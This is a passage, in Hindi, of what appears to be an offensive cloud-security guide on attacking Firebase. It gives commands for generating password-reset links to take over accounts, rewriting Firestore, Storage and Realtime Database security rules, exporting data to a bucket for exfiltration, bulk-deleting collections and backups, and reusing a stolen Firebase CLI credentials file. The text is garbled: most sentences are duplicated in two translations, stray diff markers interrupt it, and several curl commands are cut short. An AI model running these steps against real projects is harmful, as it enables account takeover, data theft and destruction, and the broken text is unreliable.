हमलावर UID या ईमेल पता के जरिए उपयोगकर्ता विवरण का अनुरोध करके मौजूदा उपयोगकर्ताओं के बारे में जानकारी भी प्राप्त कर सकता है, जैसे उनके UID या ईमेल।
हमलावर UID या email address के माध्यम से उपयोगकर्ता विवरण का अनुरोध करके मौजूदा उपयोगकर्ताओं के बारे में जानकारी भी प्राप्त कर सकता है, जैसे उनके UID या email।
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
इसके अलावा, हमलावर verification links या password-reset links जनरेट कर सकता है, जिससे वे किसी उपयोगकर्ता का password बदलकर उस खाते पर नियंत्रण प्राप्त कर सकते हैं।
इसके अलावा, हमलावर सत्यापन लिंक या पासवर्ड-रीसेट लिंक उत्पन्न कर सकता है, जिससे वह किसी उपयोगकर्ता का पासवर्ड बदलकर खाते पर नियंत्रण हासिल कर सकता है।
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Firebase सेवाओं में सुरक्षा नियमों में संशोधन
किसी सेवा के आधार पर सुरक्षा नियमों में संशोधन के लिए हमलावर को विशिष्ट अनुमतियों की आवश्यकता होती है। Cloud Firestore और Firebase Cloud Storage के लिए आवश्यक अनुमतियाँ `firebaserules.rulesets.create` (rulesets बनाने के लिए) और `firebaserules.releases.create` (releases deploy करने के लिए) हैं। ये अनुमतियाँ `roles/firebaserules.admin` role में शामिल हैं या उच्च-स्तरीय roles जैसे `roles/firebase.developAdmin` और `roles/firebase.admin` में मौजूद हैं। Firebase Realtime Database के लिए आवश्यक permission है `firebasedatabase.instances.update`।
### Firebase सेवाओं में सुरक्षा नियमों का संशोधन
हमलावर को सेवा के अनुसार security rules को संशोधित करने के लिए विशिष्ट अनुमतियाँ चाहिए। Cloud Firestore और Firebase Cloud Storage के लिए, आवश्यक अनुमतियाँ `firebaserules.rulesets.create` (rulesets बनाने के लिए) और `firebaserules.releases.create` (releases deploy करने के लिए) हैं। ये अनुमतियाँ `roles/firebaserules.admin` रोल में शामिल हैं या उच्च-स्तरीय रोलों में जैसे `roles/firebase.developAdmin` और `roles/firebase.admin`। Firebase Realtime Database के लिए, आवश्यक अनुमति `firebasedatabase.instances.update` है।
सुरक्षा नियमों में संशोधन करने के लिए हमलावर को Firebase REST API का उपयोग करना होगा।
सबसे पहले, हमलावर को service account credentials का उपयोग करके एक access token प्राप्त करने की आवश्यकता होगी।
हमलावर को security rules को संशोधित करने के लिए Firebase REST API का उपयोग करना होगा।
सबसे पहले, हमलावर को service account credentials का उपयोग करके एक access token प्राप्त करना होगा।
टोकन प्राप्त करने के लिए:
```bash
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)
```
Firebase Realtime Database नियमों को संशोधित करने के लिए:
Firebase Realtime Database rules को संशोधित करने के लिए:
```bash
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
@@ -325,7 +317,7 @@ curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.js
}
}'
```
Cloud Firestore नियमों को संशोधित करने के लिए, हमलावर को एक ruleset बनाना होगा और फिर उसे तैनात करना होगा:
Cloud Firestore नियमों को संशोधित करने के लिए, हमलावर को एक ruleset बनाना होगा और फिर उसे deploy करना होगा:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -339,7 +331,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
}
}'
```
पिछला कमांड projects/<project-id>/rulesets/<ruleset-id> फ़ॉर्मेट में एक ruleset नाम लौटाता है। नया संस्करण तैनात करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
पिछली कमांड projects/<project-id>/rulesets/<ruleset-id> फ़ॉर्मैट में एक ruleset नाम लौटाती है। नई वर्ज़न को डिप्लॉय करने के लिए release को PATCH request का उपयोग करके अपडेट करना होगा:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -351,7 +343,7 @@ curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/rel
}
}'
```
Firebase Cloud Storage नियमों को संशोधित करने के लिए:
Firebase Cloud Storage rules को संशोधित करने के लिए:
```bash
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -365,7 +357,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
}
}'
```
पिछला कमांड projects/<project-id>/rulesets/<ruleset-id> फॉर्मेट में एक ruleset नाम लौटाता है। नए संस्करण को तैनात करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
पिछली कमांड projects/<project-id>/rulesets/<ruleset-id> प्रारूप में एक ruleset नाम लौटाती है। नए संस्करण को तैनात करने के लिए, release को PATCH request का उपयोग करके अपडेट करना होगा:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -377,17 +369,17 @@ curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/rel
}
}'
```
### Data exfiltration and manipulation in Cloud Firestore
Cloud Firestore वही infrastructure और permission system उपयोग करता है जो Cloud Datastore में होता है, इसलिए Datastore IAM permissions सीधे Firestore पर लागू होते हैं। TTL policies को मैनीपुलेट करने के लिए `datastore.indexes.update` permission आवश्यक है। डेटा export करने के लिए `datastore.databases.export` permission आवश्यक है। डेटा import करने के लिए the datastore.databases.import permission आवश्यक है। bulk data deletion करने के लिए `datastore.databases.bulkDelete` permission आवश्यक है।
### Cloud Firestore में डेटा एक्सफ़िल्ट्रेशन और हेरफेर
Cloud Firestore उसी infrastructure और permission system का उपयोग करता है जो Cloud Datastore में होता है, इसलिए Datastore IAM permissions सीधे Firestore पर लागू होते हैं। TTL नीतियों को बदलने के लिए `datastore.indexes.update` permission की आवश्यकता होती है। डेटा को export करने के लिए `datastore.databases.export` permission की आवश्यकता होती है। डेटा को import करने के लिए datastore.databases.import permission की आवश्यकता होती है। बड़े पैमाने पर डेटा हटाने के लिए `datastore.databases.bulkDelete` permission आवश्यक है।
Backup और restore ऑपरेशन्स के लिए, specific permissions की आवश्यकता होती है:
बैकअप और रिस्टोर ऑपरेशनों के लिए विशिष्ट permissions चाहिए:
- `datastore.backups.get` और `datastore.backups.list` उपलब्ध backups की सूची बनाने और उनके विवरण प्राप्त करने के लिए
- `datastore.backups.delete` backups को delete करने के लिए
- `datastore.backups.restoreDatabase` किसी backup से database restore करने के लिए
- `datastore.backupSchedules.create` और `datastore.backupSchedules.delete` backup schedules को manage करने के लिए
- `datastore.backups.get` और `datastore.backups.list` ताकि उपलब्ध बैकअप की सूची और विवरण प्राप्त कर सकें
- `datastore.backups.delete` बैकअप हटाने के लिए
- `datastore.backups.restoreDatabase` बैकअप से डेटाबेस restore करने के लिए
- `datastore.backupSchedules.create` और `datastore.backupSchedules.delete` बैकअप शेड्यूल मैनेज करने के लिए
जब कोई TTL policy बनाई जाती है, तो उन entities की पहचान के लिए एक निर्दिष्ट property चुनी जाती है जो deletion के लिए eligible होंगी। यह TTL property Date and time type की होनी चाहिए। Attacker किसी ऐसी property चुन सकता है जो पहले से मौजूद हो या कोई property designate कर सकता है जिसे वह बाद में जोड़ने का प्लान कर रहा हो। अगर field का value past में कोई date है, तो document तुरंत deletion के लिए eligible हो जाता है। Attacker TTL policies को मैनीपुलेट करने के लिए gcloud CLI का उपयोग कर सकता है।
जब कोई TTL पॉलिसी बनाई जाती है, तो हटाने के लिए योग्य इकाइयों की पहचान करने हेतु एक निर्दिष्ट property चुनी जाती है। यह TTL property Date and time टाइप की होनी चाहिए। आक्रमणकर्ता किसी मौजूदा property को चुन सकता है या कोई ऐसी property निर्दिष्ट कर सकता है जिसे वे बाद में जोड़ने का योजना बना रहे हों। यदि फ़ील्ड का मान किसी बीते हुए दिनांक का है, तो दस्तावेज़ तुरंत हटाने के लिए योग्य हो जाता है। आक्रमणकर्ता TTL नीतियों को manipulate करने के लिए gcloud CLI का उपयोग कर सकता है।
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
@@ -398,7 +390,7 @@ gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
डेटा निर्यात करने और उसे exfiltrate करने के लिए, हमलावर gcloud CLI का उपयोग कर सकता है।
डेटा export करने और उसे exfiltrate करने के लिए attacker gcloud CLI का उपयोग कर सकता है।
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
@@ -406,15 +398,15 @@ gcloud firestore export gs://<bucket-name> --project=<project-id> --async --data
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
बड़ी मात्रा में डेटा हटाने और एक denial of service पैदा करने के लिए, हमलावर पूरे collections को हटाने के लिए gcloud Firestore bulk-delete tool का उपयोग कर सकता है।
बड़े पैमाने पर डेटा हटाने और denial of service पैदा करने के लिए, हमलावर gcloud Firestore bulk-delete tool का उपयोग करके पूरी collections को हटा सकता है।
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
बैकअप और पुनर्स्थापन ऑपरेशनों के लिए, हमलावर वर्तमान database की स्थिति कैप्चर करने के लिए scheduled backups बना सकता है, existing backups को सूचीबद्ध कर सकता है, हालिया परिवर्तनों को ओवरराइट करने के लिए किसी backup से restore कर सकता है, स्थायी डेटा हानि के लिए backups को delete कर सकता है, और scheduled backups को हटाया भी जा सकता है।
तुरंत एक backup जनरेट करने वाला daily backup schedule बनाने के लिए:
बैकअप और restoration ऑपरेशन्स के लिए, attacker scheduled backups बना सकता है ताकि database की current state capture की जा सके, existing backups को list किया जा सके, किसी backup से restore करके हालिया बदलावों को overwrite किया जा सके, backups को delete करके permanent data loss कराई जा सके, और scheduled backups को हटाया जा सके।
एक दैनिक backup schedule बनाने के लिए जो तुरंत एक backup generate करे:
```bash
gcloud firestore backups schedules create \
--database='(default)' \
@@ -422,29 +414,29 @@ gcloud firestore backups schedules create \
--retention=14w \
--project=<project-id>
```
किसी विशिष्ट बैकअप से restore करने के लिए, attacker उस बैकअप में मौजूद डेटा का उपयोग करके एक नया database बना सकता है। restore ऑपरेशन बैकअप का डेटा एक नए database में लिखता है, यानी मौजूदा DATABASE_ID का उपयोग नहीं किया जा सकता।
किसी विशिष्ट backup से restore करने के लिए, attacker उस backup में मौजूद डेटा का उपयोग करके एक नया database बना सकता है। restore ऑपरेशन backup का डेटा एक नए database में लिखता है, जिसका अर्थ है कि मौजूदा DATABASE_ID का उपयोग नहीं किया जा सकता।
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>
```
बैकअप को हटाने और स्थायी डेटा हानि का कारण बनने के लिए:
एक backup को हटाने और स्थायी डेटा हानि का कारण बनने के लिए:
```bash
gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Firebase CLI credentials की चोरी और दुरुपयोग
एक attacker को इस हमला करने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती, लेकिन उसे developer के local system या Firebase CLI credentials file तक पहुँच चाहिए। ये credentials एक JSON फ़ाइल में स्टोर होते हैं, जो इस लोकेशन पर स्थित है:
### Firebase CLI प्रमाण-पत्रों की चोरी और दुरुपयोग
एक हमलावर को इस हमले को अंजाम देने के लिए किसी विशेष Firebase अनुमतियों की आवश्यकता नहीं होती, लेकिन उन्हें डेवलपर के लोकल सिस्टम या Firebase CLI क्रेडेंशियल फ़ाइल तक पहुँच चाहिए। ये क्रेडेंशियल्स एक JSON फ़ाइल में संग्रहीत होते हैं जो इस स्थान पर स्थित है:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
इस फ़ाइल में authentication tokens होते हैं, जिनमें refresh_token और access_token शामिल हैं, जो attacker को उसी user के रूप में authenticate करने की अनुमति देते हैं जिसने मूल रूप से firebase login चलाया था।
यह फ़ाइल प्रमाणीकरण टोकन रखती है, जिनमें refresh_token और access_token शामिल हैं, जो हमलावर को उस उपयोगकर्ता के रूप में प्रमाणीकरण करने की अनुमति देते हैं जिसने मूल रूप से firebase login चलाया था।
attacker Firebase CLI credentials file तक पहुँच प्राप्त कर लेता है। वे फिर पूरी फ़ाइल अपनी मशीन पर कॉपी कर सकते हैं, और Firebase CLI डिफ़ॉल्ट लोकेशन से स्वतः ही उन credentials का उपयोग करेगा। ऐसा करने के बाद attacker उस user के लिए उपलब्ध सभी Firebase projects देख सकता है।
हमलावर Firebase CLI क्रेडेंशियल फ़ाइल तक पहुँच प्राप्त कर लेता है। वे फिर पूरी फ़ाइल अपनी अपनी प्रणाली पर कॉपी कर सकते हैं, और Firebase CLI अपने डिफ़ॉल्ट स्थान से क्रेडेंशियल्स को स्वतः उपयोग कर लेगा। ऐसा करने के बाद, हमलावर उस उपयोगकर्ता के लिए पहुँच योग्य सभी Firebase प्रोजेक्ट्स को देख सकता है।
```bash
firebase projects:list
```